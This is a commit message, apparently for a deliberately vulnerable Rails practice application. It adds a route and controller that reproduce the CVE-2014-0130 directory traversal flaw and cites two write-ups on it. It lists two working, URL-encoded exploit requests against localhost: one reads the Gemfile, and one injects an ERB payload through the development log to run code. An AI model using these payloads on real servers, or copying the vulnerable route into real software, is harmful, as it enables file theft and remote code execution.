Add CVE-2014-0130 vulnerable code

* Adds a vulnerable glob route and controller to use

* Writeups around exploit:
  http://matasano.com/research/AnatomyOfRailsVuln-CVE-2014-0130.pdf
  http://blog.flowdock.com/2014/05/07/how-we-found-a-directory-traversal-vulnerability-in-rails-routes/

* Known working exploit examples:
 * Dir Traversal
  localhost:3000/api/%5c%2e%2e%2f%5c%2e%2e%2f%5c%2e%2e%2fGemfile
 * Code Injection (using log to send back evidence)
  localhost:3000/api/%5c%2e%2e%2f%5c%2e%2e%2f%5c%2e%2e%2flog%2fdevelopment%2elog?codetoexec=%3c%25%3d%20%70%20%70%61%72%61%6d%73%20%25%3e